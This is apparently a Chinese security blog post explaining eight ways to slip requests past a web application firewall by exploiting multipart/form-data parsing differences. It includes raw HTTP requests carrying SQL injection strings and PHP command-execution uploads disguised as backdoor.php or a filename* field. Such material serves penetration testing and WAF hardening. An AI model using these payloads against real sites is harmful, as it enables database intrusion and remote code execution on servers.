、大家好,我是Dest1ny!
今天是介绍利用 multipart/form-data 解析差异绕 WAF!
文中共介绍了八种绕过方法,基于对应的特征。
1.multipart/form-data 结合参数污染
2.multipart/form-data 参数覆盖
3.multipart/form-data 文件名覆盖
4.multipart/form-data Content-Disposition 参数覆盖
5.multipart/form-data HTTP请求 CRLF序列破坏
6.multipart/form-data 字符串包裹符号破坏
7.multipart/form-data 结束字段破坏
8.multipart/form-data filename*=utf-8’’ 字段文件名绕过
CLASS-1 Multipart/form-data 结合参数污染
在绕过方法1中,假设了这样的场景:
WAF对POST的数据进行了相关校验,可以利用 multipart/form-data 结合参数污染的方式进行相关绕过
POST /Demo1 HTTP/1.1
Content-Type: multipart/form-data; boundary=xxx
--xxx
Content-Disposition: form-data; name="username";
admin' or 1=1-- &username=admin&abc
--xxx--
这是一种结合 HTTP 参数污染 和 multipart/form-data
数据格式的 WAF 绕过技巧:
-
利用参数污染:
- 提供多个
username
值,让 WAF 检测的值和后端实际使用的值不同。
- 提供多个
-
利用
multipart/form-data
:- 这种格式复杂,WAF 检测可能不完全。
- 攻击者将恶意负载混入字段中,让其通过 WAF 检测。
-
潜在结果:
- 如果后端未正确处理用户输入,恶意的 SQL 注入可能被执行,导致敏感数据泄露或其他安全问题。
CLASS-2 Multipart/form-data 参数覆盖
在绕过方法2中,假设了这样的场景:
WAF与后端具有不同解析器,在对 multipart/form-data 参数的解析顺序上存在差异
基于规范而言,规范只是要求了需要一个name参数,但是当多个name同时出现时,可能会存在一些问题
POST /Demo2 HTTP/1.1
Content-Type: multipart/form-data; boundary=xxx
--xxx
Content-Disposition: form-data; name="username"; name="email";
admin' or 1=1--
--xxx--
CALSS-3 Multipart/form-data 文件名覆盖
在绕过方法3中,假设了这样的场景:
WAF与后端具有不同解析器,在对 multipart/form-data 文件名的解析方式上存在差异
对于每个Content-Disposition标头,应该只存在一个文件名参数。但当如果同一个内容中放更多的文件名,也许会存在差异。
CALSS-4 multipart/form-data Content-Disposition 参数覆盖
在绕过方法4中,我们假设的场景是WAF(Web应用防火墙)与后端解析器之间的差异,特别是在解析 Content-Disposition
头部时的行为不同。这种差异可以导致绕过机制的产生,使得攻击者能够上传恶意文件。
背景:Content-Disposition
头部解析
Content-Disposition
是 multipart/form-data
编码格式中定义文件上传和字段内容的一部分,常见格式如下:
POST /Demo4 HTTP/1.1
Content-Type: multipart/form-data; boundary=xxx
--xxx
Content-Disposition: form-data; name="file"; filename="a.txt";
Content-Disposition: form-data; name="file"; filename="backdoor.php";
<?php system("id"); ?>
--xxx--
CLASS-5 multipart/form-data HTTP请求 CRLF序列破坏
在绕过方法5中,假设了这样的场景:
WAF与后端对流量解析方式存在问题,在CRLF异常的情况下存在解析差异
正常来说,HTTP数据包中区分每一行的方式为,每行末尾的 \r\n 两个换行符号,它们又被称为CRLF符号.当你发送数据包时,实际流量可能是(为了可读性,故不删除换行,仅以字符显示代替)
POST /Demo5 HTTP/1.1\r\n
Content-Type: multipart/form-data; boundary=xxx\r\n
\r\n
--xxx\r\n
Content-Disposition: form-data; name="file"; filename="a.txt";\r\n
Content-Type: text/text\r\n
\r\n
hello\r\n
--xxx--\r\n
当我们在 Content-Type: text/text\r\n
中略施手脚,删除 \r
时(新版Burp可以做到),可能会存在一些解析差异
CLASS-6 multipart/form-data 字符串包裹符号破坏
WAF与后端对 Content-Disposition 解析方式存在问题,在缺失了双引号情况下,存在解析差异
在标准 multipart/form-data 请求中,参数名通常用双引号括起来。例:
Content-Disposition: form-data; name=”file”; filename=”a.txt”;
Content-Disposition: form-data; name=”username”;
如果删除双引号,或者使用单引号
POST /Demo6 HTTP/1.1
Content-Type: multipart/form-data; boundary=xxx
--xxx
Content-Disposition: form-data; name="file"; filename=a.txt;
hello
--xxx--
CLASS-7 multipart/form-data 结束字段破坏
WAF与后端对消息体结构宽容度存在问题,在缺失了闭合字段情况下,存在解析差异
正常来说,消息体应为以 boundary 中所约定的字符 加上 – 进行结尾,例如 boundary=xxx 则 –xxx– 进行结尾。可以删除这一字段(至少PHP能接受这样),例:
POST /Demo7 HTTP/1.1
Content-Type: multipart/form-data; boundary=xxx
--xxx
Content-Disposition: form-data; name="file"; filename="a.txt";
hello
CLASS-8 multipart/form-data filename*=utf-8’’ 字段文件名绕过
在绕过方法8中,假设了这样的场景
WAF与后端对filename*参数解析存在解析差异
Content-Disposition参数中存在一个特殊的文件名声明 filename* 格式如下
filename*=UTF-8’’Fabrizio_Deandr%C3%A9.pdf
利用此特殊的声明差异
POST /Demo8 HTTP/1.1
Content-Type: multipart/form-data; boundary=xxx
--xxx
Content-Disposition: form-data; name="file"; filename*=UTF-8''Fabrizio_Deandr%C3%A9.php;
<?php system("id"); ?>
--xxx--
标签:form,--,waf,xxx,Content,multipart,data From: https://blog.csdn.net/m0_70065235/article/details/145321546